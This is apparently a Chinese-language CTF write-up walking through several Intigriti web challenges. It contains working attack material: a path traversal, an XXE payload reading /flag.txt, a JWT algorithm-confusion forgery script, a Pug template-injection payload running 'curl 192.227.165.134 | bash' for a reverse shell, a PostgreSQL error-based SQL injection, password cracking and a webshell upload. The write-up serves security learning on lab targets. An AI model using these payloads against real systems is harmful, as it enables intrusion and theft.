第一次打国际赛 随便打打感觉学到好多东西

Pizza Paradise

image.png 发现信息泄露 robots.txt image.png 存在登陆页面 image.png 发现存在前端的身份验证 显然是可以利用的

function hashPassword(password) {
                return CryptoJS.SHA256(password).toString();
            }

            function validate() {
                const username = document.getElementById("username").value;
                const password = document.getElementById("password").value;

                const credentials = getCredentials();
                const passwordHash = hashPassword(password);

                if (
                    username === credentials.username &&
                    passwordHash === credentials.passwordHash
                ) {
                    return true;
                } else {
                    alert("Invalid credentials!");
                    return false;
                }
            }

image.png 值得注意的是 这里有个什么getCredentials函数 位于 /assets/js/auth.js image.png 可以发现用户名和密码 密码是sha256加密后的 尝试在网上找个解密的 cmd5要付费eee https://iotools.cloud/zh/tool/sha256-decrypt/ image.png

agent_1337
intel420

登陆后存在一个任意文件下载的页面 image.png 通过../目录遍历可以读取任意文件 image.png 最后发现 flag就在当前页面 emmmmm找了半天 INTIGRITI{70p_53cr37_m15510n_c0mpl373}

BioCorp

image.png 问题出在panel.php这个文件 对于是否可以访问也是有客户端的请求头进行判断

$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];  
  
if ($ip_address !== '80.187.61.102') {  
    echo "<h1>Access Denied</h1>";  
    echo "<p>You do not have permission to access this page.</p>";  
    exit;  
}  
  
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {  
    $xml_data = file_get_contents('php://input');  
    $doc = new DOMDocument();  
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {  
        echo "<h1>Invalid XML</h1>";  
        exit;  
    }  
} else {  
    $xml_data = file_get_contents('data/reactor_data.xml');  
    $doc = new DOMDocument();  
    $doc->loadXML($xml_data, LIBXML_NOENT);  
}  
  
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';  
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';  
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';

通过 添加请求头 x-biocorp-vpn: 80.187.61.102 绕过对于页面的访问限制 符合 条件 Content-Type: application/xml 进入到加载XmL的逻辑中 存在典型的XXE外部实体注入 new DOMDocument->loadXML($xml_data, LIBXML_NOENT) 可以实现读取任意文件 可以发现 存在三个回显位

temperature
pressure
control_rods

直接打有回显的xxe就可以了 题目给了Dockerfile 可以发现 flag 位于 /flag.txt

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt" >]>
<creds> 
<temperature>&xxe;</temperature> 
<pass>J1rrY</pass>
</creds>

可以直接读取到 /flag.txt内容 image.png 可以直接拿到flag image.png

INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}

Cat Club

题目给了Docker源码 可以明显发现package.json中 给的依赖库 jwt-web存在历史漏洞 image.png https://github.com/advisories/GHSA-4xw9-cx39-r355 存在JWT 算法混淆攻击 RS256的验证机制可以用HS256混淆 实现jwt的伪造 细心一点可以发现 nodejs应用对username 做了严格的正则限制 猜测问题出在这里 image.png 在Dockerfile中发现 flag的名称被严重混淆 最终目的一点是要实现RCE

# Randomize the flag name, move it to root, and set it as read-only
RUN flag_name=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 16) && \
    mv /app/app/flag.txt /flag_$flag_name.txt && \
    chmod 444 /flag_$flag_name.txt && \
    chown root:root /flag_$flag_name.txt

image.png 发现用户登陆后在 cats路由 对cat.pug 模板字符替换位用户名并且实现模板渲染 国内基本上没有pug模板渲染实现RCE的相关例题 那这道题我们可以理清思路 —–> 就是通过 jwt 公钥算法混淆伪造 HS256 实现任意用户登陆 后 在 /cats路由实现pug模板注入实现最后的RCE 公钥要如何获取呢? 发现存在 jwks.json路由 直接给了我们jwks

router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});

我们可以 尝试从 jwk 中恢复 public_key.pem image.png

{"keys":[{"kty":"RSA","n":"w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw","e":"AQAB","alg":"RS256","use":"sig"}]}

拷问GPT给出从jwk恢复出公钥的脚本

const fs = require('fs');
const jwkToPem = require('jwk-to-pem');

// 您提供的 JWK 数据
const jwk = {
    keys: [
        {
            kty: "RSA",
            n: "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
            e: "AQAB",
            alg: "RS256",
            use: "sig"
        }
    ]
};

// 选择第一个密钥
const jwkKey = jwk.keys[0];

// 转换为 PEM 格式
const pem = jwkToPem(jwkKey);

// 将 PEM 保存到文件
fs.writeFileSync('j1rry.pem', pem, 'utf8');

console.log('j1rry.pem 已成功生成。');

可以得到恢复的公钥

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4oPEx+448XQWH/OtSWN
8L0NUDU+rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpat
hL1zf3/Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQz
YcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnR
fT5HJjSRu/JmGlYCrFSof5p/E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t
8opUrLbrJYoWFeYZOY/Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ+H
dwIDAQAB
-----END PUBLIC KEY-----

现在可以尝试伪造 jwt实现用户名的注入

const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\app\\j1rry.pem');
var token = jwt.sign({
    "username": "#{7*7}",
}, privateKey, { algorithm: 'HS256' });
console.log(token)

得到 伪造的jwt值

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSIsImlhdCI6MTczMTgzNTg5N30.jR7M5ByPIPgXoeCWLUleGSBP1ehtaTZ5I6qngPGcBow

image.png 发现成功伪造了jwt 并且 pug实现了#{7*7}的运算 image.png 直接一把梭没有成功?尝试仿照POC直接写个匿名函数实现反弹shell

const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync(process.cwd()+'\\app\\j1rry.pem');
var token = jwt.sign({
    "username": "#{function(){global.process.mainModule.constructor._load(\"child_process\").execSync(\"curl 192.227.165.134 | bash\")}()}",
}, privateKey, { algorithm: 'HS256' });
console.log(token)

image.png 可以直接反弹shell回来 在根目录下拿到flag INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vuln5_l1k3_7h47}

Fruitables

image.png 发现存在 accout.php路由 停用了注册功能 重定向到了https://fruitables-0.ctf.intigriti.io/auth/fruitables_login.php

image.png https://fruitables-0.ctf.intigriti.io/auth/fruitables_login.php?error=Sorry%2C+registration+is+currently+closed%21 尝试爆破密码无果 尝试Fuzzinig sqli.txt一下 发现单引号 ' 让页面报错 可以知道闭合方式就是单引号 存在SQL注入 FUZZ image.png 之前的所有Dockerfile都是用pgsql实现的数据库功能 可以尝试学习一下pgsql注入 虽然这里似乎用了PDO做预编译 但是应该是错误的写法造成了pgsql注入 尝试堆叠注入执行多条语句 发现不支持多条语句 有明显的报错回显 优先考虑报错注入

' and 1=cast((SELECT concat(username,':',password) FROM users LIMIT 1 OFFSET 2) as int) and '1'='1

通过报错回显得到 后台管理员账号密码 image.png

tjfry_admin
$2y$10$buhvcTHdjqnb2r0L15ilJefOlGTe1rpD31685K02KfOk7xizNisiy

对于bcrypt 加密的密码哈希 优先尝试弱密码爆破 直接用kali自带的hashcat进行爆破若密钥 跑rockyou字典

image.png

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

可以直接拿到密码为 futurama 发现登陆后台后 存在明显的文件上传点 考虑上传webshell image.png 发现这里对文件内容头进行检测 直接PNG头绕过 Fuzzing一下 发现文件名中必须要有png或者jpg 不检测后缀的神奇逻辑 image.png 直接读flag就是了 image.png

INTIGRITI{fru174bl35_vuln3r4b1l17y_ch3ckm8}

SafeNotes

错过了八月的比赛 Intigriti’s August (Defcon) Challenge 重新学习一下

SafeNotes2

有空就填个坑